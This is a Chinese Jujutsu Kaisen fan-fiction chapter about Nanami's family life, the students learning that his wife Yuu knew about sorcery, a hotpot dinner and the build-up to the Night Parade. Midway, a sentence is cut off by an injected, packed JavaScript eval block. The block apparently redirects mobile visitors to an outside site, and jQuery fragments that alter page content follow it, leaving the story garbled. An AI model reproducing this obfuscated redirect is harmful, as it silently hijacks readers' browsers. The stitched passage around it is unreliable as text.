深夜十一点。


    七海的手机在床头柜上震动，发出刺眼的白光——总监部紧急代码。


    他瞬间清醒，动作轻柔但迅速地从床上起身，没有惊动枕着他手臂熟睡的悠。


    客厅里，他接通电话：“我是七海。”


    “足立区三丁目发生二级咒灵暴走，已造成两人重伤，附近没有其他在职术师。”窗的调度员声音紧绷，“现场还有‘人头气球’的次级衍生物。”


    “坐标发我。”七海单手穿上西装外套。


    “另外，七海先生……总监部希望您评估后，判断是否需要特级介入。”


    七海的动作顿了顿：“先发坐标。我现场判断。”


    挂断电话，他快速检查咒具。


    主卧门轻轻开了，悠披着外套走出来，怀里抱着被手机声音吵醒打着哈欠的悠夏。


    “七海海，要去工作吗？”她声音带着睡意。


    “嗯，紧急任务。”七海走过来，在悠额头印下一吻，又摸了摸女儿的小脸，“抱歉吵醒你们。”


    悠夏迷迷糊糊眨着眼，看到爸爸要走，小嘴一瘪。


    “爸爸很快就回来。”七海捏了捏女儿的小手，又看向悠，“锁好门。”


    门关上后，悠夏小声抽泣起来。


    悠轻轻摇晃她：“爸爸去工作了……妈妈在这里……”


    悠夏抬起含泪的眼睛，听着妈妈的声音又开始眼皮打架。


    “我们要帮爸爸哦。”悠轻声说，抱着女儿走回卧室，“这样爸爸就不会那么累了……”


    足立区。


    七海赶到时，辅助监督已拉起警戒线。


    街道中央，一只形似腐烂树根的咒灵挥舞着触手，触手上挂着十几个苍白的小型气球——每个气球表面都浮现着模糊人脸。


    “二级咒灵，能制造小型悬首气球。”辅助监督快速汇报，“受伤人员已送医，但这片还有十几户居民未疏散。”


    “疏散要多久？”


    “至少二十分钟——”


    “来不及了。”七海抽出咒具，“我来争取时间。”


    踏入结界瞬间，咒灵所有触手转向，小气球开始膨胀、嘶吼——


    “术式公开——『七三开』。”


    刀光闪过，三根触手应声而断，气球爆裂成黑雾。


    咒灵主体裂开数十道缝隙，更多触手钻出，每个末端都在凝聚新气球。


    太多了。


    七海冷静判断。


    若让这些气球全部成型，必有漏网之鱼伤及居民。


    必须一击解决核心。


    他握紧刀，咒力凝聚——


    就在咒力即将达峰值时，七海突然感觉到——身体深处积攒了一整天的疲惫感，毫无征兆地减轻了。


    不是一点点，是像被橡皮擦彻底擦除。


    咒力流动变得异常顺畅，集中速度加快三成。


    七海的动作没有丝毫停顿，但眼镜后的瞳孔微缩。


    是悠。


    只有可能是她。


    这个认知闪过脑海只用零点一秒。然后他挥刀——


    『七三开·全功率』


    淡金光刃扩大到惊人规模，不再是“切割”而是“覆盖”。


    光芒所过之处，触手、气球、咒灵主体，全被精准分割成规整的碎块。


    咒灵哀嚎着崩解消散。


    现场几乎无咒力残秽。


    “后续处理交给你。”面对辅助监督的惊讶，七海收刀入鞘，转身离开的脚步比来时快了些。


    他想早点回家。


    次日七海醒来时，左臂被悠枕着，胸口趴着悠夏。


    小丫头不知何时爬到了爸爸妈妈中间，小脑袋枕在他胸口，口水浸湿了一小片睡衣。


    七海稍微动了下手臂，悠立刻醒了。


    “唔……七海海？几点了？”


    “六点。”七海声音轻柔，“悠夏什么时候过来的？”


    “后半夜醒的，看见你回来非要趴你身上才肯睡。”悠打着哈欠侧身，看着女儿。


    七海低头。


    悠夏睡得小脸红扑扑，长睫毛投下浅影，那颗小白牙随呼吸若隐若现。


    他抬起能动的右手，轻碰女儿脸颊。


    悠夏咂咂嘴，睁开了眼睛。


    海蓝色的大眼睛眨巴眨巴，看看爸爸，看看妈妈，然后露出甜甜笑容。


    “爸……爸……”这次发音很清晰。


    “嗯。”


    “妈……妈……”


    “妈妈在。”悠凑过来亲了亲女儿额头。


    悠夏开心地“咯咯”笑，在爸爸胸口蹭蹭，找个更舒服的位置，又闭上眼睛——但没睡，小手开始不安分探索。


    她摸到枕边的眼镜，抓起来就往嘴里塞。


    “不可以。”七海及时拿回。


    “啊呜！”悠夏不满地转头扑向妈妈，把脸埋进悠怀里，还偷偷回头瞄爸爸，像在说“妈妈会帮我”。


    悠笑着抱紧女儿：“悠夏想要爸爸的眼镜？但那个不能吃哦～”


    “爸……爸……”悠夏撒娇地蹭妈妈，眼睛还盯着眼镜。


    七海看着母女互动，突然说：“昨晚……谢谢。”


    悠愣了下，脸微红：“你怎么知道的……”


    “咒力流动感不同。疲惫消失得太彻底。”七海推推眼镜，“而且，你做完后总会有点心虚的表情。”


    “哪有！”悠抗议，但耳朵红了。


    七海没说话，伸出右手把妻子女儿一起揽进怀里。


    悠夏被爸爸妈妈夹在中间，开心地挥舞小手，抓住爸爸的手指含进嘴里——这次不是咬，是用那颗新牙轻轻磨蹭。


    “她真喜欢你的手指。”悠笑。


    “因为上面有咒力残留。婴儿对能量敏感。”


    “那我的呢？”悠伸出自己的手指。


    悠夏立刻放开爸爸，抓住妈妈的手指含住，满足地眯眼。


    “看来不只是咒力。”七海得出结论。


    “是因为妈妈的手指有草莓大福的味道吧。”悠开玩笑。


    晨光透过窗帘洒入，温暖明亮。


    悠夏玩了一会儿，突然打个小哈欠。


    她吐出妈妈的手指，转身整个人趴在爸爸胸口，小脑袋枕在爸爸肩窝，闭眼。


    不到十秒，呼吸均匀。


    “又睡了。”悠轻声。


    “嗯。”


    两人静静躺着。


    七海的手轻拍女儿后背。


    “七海海，”悠突然小声笑着说，“你眼镜上的牙印……又多了几个。”


    七海拿起眼镜，左镜腿内侧确实有新凹痕——比之前更深。


    “悠夏的牙越来越有力了。”


    “要收起来吗？买副新的。”


    “不用。”七海戴回眼镜，“这样就好。”


    这是女儿成长的痕迹。


    是他想记住的，风暴来临前这些清晨的温暖。


    日子过得很快。


    空气骤冷，偶尔会飘过几片雪花。


    下午三点，超市零食区。


    “这个！这个看起来好好吃！”熊猫指着货架上的限定口味薯片，声音有点大——他今天穿了连帽卫衣，但那双圆耳朵在帽子下轮廓依然明显。


    “熊猫，小声点……”顺平紧张地左右看看，“这里可是超市……”


    “木鱼花。”没错！要低调。


    狗卷嘘了一声，然后摆了一个功夫熊猫的招牌动作。


    真希面无表情地往车里扔了几包压缩饼干：“这些是实战干粮，不是零食。”


    乙骨小声说：“那个……真的要买这么多吗？这些看起来吃不完……”


    五个人推着购物车转过货架转角，然后——


    同时僵住。


    悠推着购物车站在前方，悠夏坐在婴儿座椅里好奇张望。


    吉野凪站在旁边，手里拿着购物清单。


    六双眼睛对视。


    空气凝固了五秒。


    顺平第一个反应过来，声音发颤：“妈、妈妈？小姨？”


    熊猫的第一反应是把帽子拉得更低——虽然那对圆耳朵因此更凸出了。


    真希努力维持面无表情。


    狗卷迅速把熊猫藏到身后，掩耳盗铃。


    乙骨下意识退后半步。


    悠眨了眨眼，露出温和笑容：“好巧啊，你们也来采购？”


    “是、是的！”顺平赶紧说，“学校……社团活动需要准备些东西……”


    “社团活动需要这么多零食？顺平？”吉野凪挑眉看着他们车里堆成小山的薯片、巧克力、布丁。


    “是、是慰劳品！”顺平冒着冷汗抢答，“为了鼓励大家努力！对吧真希！”


    真希面无表情点头：“嗯。”


    “木鱼花。”是的！


    狗卷默默点头，举起小本子——但拿反了。


    乙骨小声补充：“还、还有伴手礼……”


    悠看着五个少年紧张到快同手同脚的样子，忍不住笑出声。


    吉野凪看看他们，又看看自家妹妹，突然恍然大悟：“等等，顺平，你们该不会……”她顿了顿，直率地问，“在悠面前假装普通人？”


    “……”


    “……”


    “……”


    死一般的寂静。


    熊猫的帽子下，耳朵明显抖了一下。


    顺平的表情从紧张变成心虚：“妈、妈妈……”


    “什么？”吉野凪一脸“你们在演哪出”的表情，“悠早就知道啊。我还以为你们知道她知道呢。”


    “……”


    “……”


    “……”


    这次寂静更长。


    真希缓缓转头，盯着顺平：“顺平……你不是说……你小姨什么都不知道吗？”


    顺平张了张嘴，心虚的发不出声音。


    “这、这个……”


    熊猫慢慢拉下帽子，露出毛茸茸的熊猫脸，表情呆滞：“所以……我这几个月穿这身快热死的卫衣……是为了什么……”


    狗卷默默在小本子上写：[五条老师说悠姐是普通人……]，然后把它按到了顺平面前。


    乙骨语气非常温和，轻声说：“顺平？所以悠小姐一直都知道……我们在演戏？”


    悠有点不好意思地点头：“嗯……七海海都告诉我了。不过看你们那么努力假装，我就想……配合一下比较好？”


    熊猫抱住头：“悟！！！！顺平！！”


    吉野凪忍不住笑出声：“你们这几个孩子真是……早说啊！害得我上次看熊猫君穿那么厚的卫衣，还担心他中暑！”


    熊猫欲哭无泪：“阿姨……您为什么不早说……”


    “我以为你们在玩什么角色扮演游戏嘛。”吉野凪摊手，“年轻人搞点cosplay什么的很正常。”


    真希扶额：“所以这几个月……我们都在白费功夫？”


    “也不算白费。”悠温柔地说，“看到你们那么努力想保护我的心情，我很感动。”


    她顿了顿，看向熊猫：“那个……熊猫君，我可以摸摸你吗？还没摸过真的熊猫……”


    熊猫愣住了，然后眼睛一下子亮了：“可、可以！随便摸！悠姐你早说啊！我这就——”


    他说着就要脱卫衣，路人投来异样的火热眼光，他被真希一把按住：“喂！这里是超市！”


    最终，在超市员工的注视下，五个少年推着车，跟着悠和吉野凪一起结账。


    熊猫全程耳朵兴奋地抖动，差点被当成电动玩偶。


    走出超市时，顺平小声对熊猫他们说：“……对不起，瞒着你们……”


    “没事哦。”真希微笑，手机的零食包被捏的咔咔作响“顺平，等回去我们再练练。”


    狗卷拍了拍顺平的肩膀：“大芥！”没错！


    “好啦。”吉野凪拍拍儿子的肩，“周末来吃火锅吧。熊猫君终于不用穿卫衣了，悠也想好好看看真的熊猫对吧？”


    “嗯！”悠点头，怀里的悠夏也“啊呜”一声，伸手想去抓熊猫的耳朵。


    熊猫感动得差点哭出来：“火锅！我可以放开了吃！也不用装玩偶了！”


    “木鱼花！”太好了！


    狗卷表示强烈支持。


    真希也露出笑容：“总算不用演戏了……累死我了。”


    乙骨笑意盈盈地说：“……好像真希每次都是吐槽役的人设？”


    真希“你想打架吗？忧太！”


    次日，高专训练场。


    “顺——平——君——”


    熊猫用爪子勾住顺平的肩膀，笑容“和善”：“你是不是该解释一下，关于‘小姨是普通人’这个情报的来源问题？”


    顺平冷汗直流：“那、那是五条老师说……”


    “五条悟说的～”真希把长棍搭在肩上，慢慢走过来，“然后你就保密了？”


    “我、我……”


    “木鱼花！”但五条老师最喜欢开玩笑！


    狗卷举着写满控诉的小本子。


    乙骨幽怨地说：“顺平……我上次在你小姨面前差点说漏嘴，紧张了好久……”


    顺平双手合十：“大家对不起！五条老师当时说得特别认真，还说‘绝对不能让她知道，会吓到她的’……”


    “结果悠姐不但知道，还配合我们演了几个月。”熊猫叹气，“我那些汗算是白流了……”


    真希用长棍轻轻戳了戳顺平：“罚你今晚加练一小时。还有，周末火锅你负责准备饮料。”


    “是、是！”


    “鲑鱼子！”同意！


    狗卷指了指顺平。


    乙骨微笑：“不过……知道悠小姐不介意，反而松了口气。不用再小心翼翼说话了。”


    “对啊！”熊猫眼睛一亮，“周末我可以尽情说话了！也不用假装不会动！还能让悠姐抱小悠夏的时候顺便抱抱我！”


    “你只是想被抱吧。”真希吐槽。


    训练场气氛轻松起来。


    顺平在加练时格外卖力。


    “心情放松了？”真希挑眉。


    “嗯……”顺平擦擦汗，“感觉肩膀上的担子轻了好多。”


    熊猫用爪子拍拍他：“好啦，原谅你啦。不过下次五条老师再说什么，记得先确认！”


    “木鱼花！”要怀疑！


    狗卷表示附议。


    “喂喂……棘你给我老实一点，你忘了除了五条悟，就属你上次在大福里面塞芥末……”


    乙骨有些犹豫：“棘大概觉得这样比较有趣吧……”


    “绝对是因为有趣！”三人异口同声，试图用眼神强烈谴责狗卷心虚飘忽的眼神。


    远处教学楼，五条悟突然打了个喷嚏。


    “咦？谁在想我～”他歪头，然后继续吃手里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209120|196498||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的喜久福。


    12月5日，周六傍晚。


    门铃响起时，厨房飘出浓郁的火锅香气。


    七海打开门，门外站着五个少年——这次熊猫没穿卫衣，毛茸茸地站在最前面。


    “姨夫好！”顺平精神满满。


    “请进。”七海侧身。


    熊猫第一个冲进去——不是跑，是滚——然后深吸一口气：“好香！是寿喜烧锅底对不对！”


    “熊猫君的鼻子真灵。”悠笑着从厨房走出来，怀里抱着悠夏。


    小丫头看到熊猫，眼睛一下子亮了，伸手“啊啊”叫着。


    “悠姐！我可以抱抱小悠夏吗？”熊猫兴奋地举起爪子。


    “可以啊。”悠温柔地说，“不过要先洗手哦。”


    “马上去洗！”


    真希忍不住笑：“这家伙从下午就开始兴奋了。”


    狗卷举着小本子剧透：[熊猫今天刷了三遍毛。]


    乙骨把带来的伴手礼递给悠：“这是京都的汤豆腐……”


    “谢谢忧太。大家快坐，马上就能吃了。”


    餐厅里，大火锅在电磁炉上咕嘟咕嘟沸腾。


    牛肉、蔬菜、豆腐、蘑菇摆满桌子。


    熊猫洗完手回来，终于如愿以偿地抱到了悠夏。


    “软软的……香香的……”熊猫感动得快哭了，“和想象中一样……”


    悠夏好奇地抓熊猫的毛，然后——把一小撮毛塞进嘴里。


    “啊！小悠夏这个不能吃！”熊猫慌张但不敢动。


    悠笑着把女儿的小手拉开：“悠夏，熊猫君的毛不好吃哦～”


    吉野凪端着最后一盘菜出来：“好啦，开动吧！顺平，给大家倒饮料。”


    “是！”


    火锅宴热闹开场。


    熊猫终于能正常说话吃饭，兴奋得差点把筷子当鼓棒。


    真希和狗卷抢最后一片牛肉，乙骨安静地吃但嘴角带笑，顺平忙着给大家夹菜。


    七海坐在悠身边，帮她烫菜。


    悠夏坐在专门的婴儿椅上，抱着磨牙饼干啃得起劲。


    “七海先生，”真希突然问，“百鬼夜行那天……我们不用负责新宿区吗？”


    餐桌安静了一瞬。


    “嗯。”七海点头，“五条老师应该跟你们说过了。你们主要负责留守高专，毕竟乙骨情况比较特殊，避免夏油杰针对他。”


    “我们不会大意的。”熊猫难得严肃，“为了还能来吃悠姐做的火锅。”


    “木鱼花！”（为了大家！）狗卷干劲十足。


    乙骨轻声说：“我们会互相保护的。”


    顺平握紧拳头：“我的结界……一定会保护好大家。”


    悠看着五个少年，又看看身边的丈夫，轻声说：“大家都要平安回来。火锅……随时都可以再吃。”


    七海在桌下握住她的手。


    “会的。”他说。


    火锅的热气蒸腾，玻璃窗蒙上白雾。


    12月15日，高专教师办公室。


    “这是最终作战计划。”五条悟把文件分发给夜蛾和七海，“12月24日晚上八点整，杰会在东京和京都同时发动。”


    地图上标注着密密麻麻的红点——咒灵预计出现区域。


    “我坐镇东京。”五条悟说，“杰的主要目标之一是里香，他一定会来。京都由乐岩寺校长负责。”


    “东京市区分三路。”夜蛾接话，“七海负责涩谷——咒灵最密集的区域。一年级生负责留守高专。剩下的术师分散在其他各区。”


    七海推了推眼镜：“涩谷的‘种子’密度是其他区域的三倍。杰在那里布置了什么？”


    “仪式核心。”五条悟表情严肃，“‘悬首之仪’的放大版。他要用涩谷的恐慌，给所有人头气球‘充能’，然后一次性释放。”


    他顿了顿。


    “另外……杰手下的特级咒灵，除了已知那几个，还有一个新确认的——‘人头气球’本体。那不是现象，是实实在在的特级咒灵，被他收服了。”


    “能力？”七海问。


    “规则系。‘看到自己气球的人会死’——这个规则是绝对的。除非破坏咒灵本体，或者用更强的规则覆盖。”五条悟看向七海，“你家那次，气球消失……是规则‘被无效化’了。有什么东西强行让规则对你家不生效。”


    七海想起了悠说的梦，想起了家里的异常安全，想起了妻子那种平静的本质，没有说话。


    “总之，”五条悟靠回椅背，“涩谷就拜托你了，七海。我会让伊地知做你的辅助监督。”


    “一年级生那边？”夜蛾问。


    “他们成长得很快。”五条悟难得露出赞许的表情，“特别是顺平，结界术已经能覆盖半个训练场了。高专交给他们……没问题。”


    “我相信他们。”他说。


    会议结束后，七海站在走廊窗前。手机震动，悠发来消息：


    【悠夏好可爱！虽然只爬了两步就倒了，但她超开心！你早点回来看看。】


    附了一段视频：悠夏在爬行垫上努力向前蠕动，然后“扑通”趴下，但抬起小脸笑得灿烂。


    七海看着视频，嘴角上扬。


    他会回去的。


    无论如何都会。


    12月23日，平安夜前夜。


    公寓格外安静。


    吉野凪已经回了402室——她成功构筑了第一个有效结界，虽然只能覆盖一个房间，但至少有了自保能力。


    悠夏在婴儿床里熟睡，怀里抱着那个有牙印的牙胶玩具。


    悠和七海坐在沙发上，电视关着，只开一盏落地灯。


    “明天……”悠轻声说。


    “嗯。”七海握住她的手，“晚上八点开始。我会去涩谷。”


    “多久能回来？”


    “不确定。可能到天亮。”七海顿了顿，“但我会回来。约定好的。”


    悠靠在他肩上。


    七海身上那些紧绷的线……密密麻麻，几乎要凝成实体。


    但她没有去碰。


    因为这些线，是七海作为咒术师、作为丈夫、作为父亲的一部分。


    消除它们，就等于否定了他的选择和决心。


    “我和悠夏会等你。”她说，“所以你要小心。不要逞强，不要受伤，不要……让我们等太久。”


    七海把她拥进怀里。


    “我知道。”他的声音很低，“悠，如果……如果真的有什么万一，你带着悠夏去高专。那里有最强结界，五条老师在，最安全。”


    “不会有什么万一。”悠抬头看他，眼睛在昏暗光线里异常明亮，“因为你答应过我。而且七海先生从不违背约定。”


    七海愣了一下，然后笑了——很开怀。


    “嗯。从不违背。”


    他们静静相拥。


    窗外，东京的平安夜前夕，街道上装饰着彩灯，橱窗里摆着圣诞树，情侣们牵着手走过。


    一切都看起来那么和平。


    仿佛明天只是个普通的圣诞节。


    “睡吧。”七海轻声说，“明天……会很长。”


    “一起吧。”


    两人相拥而眠。


    主卧里，悠夏在睡梦中翻了个身，小手在空中抓了抓，然后抱紧了怀里的牙胶玩具。


    距离百鬼夜行，还有24小时。


    -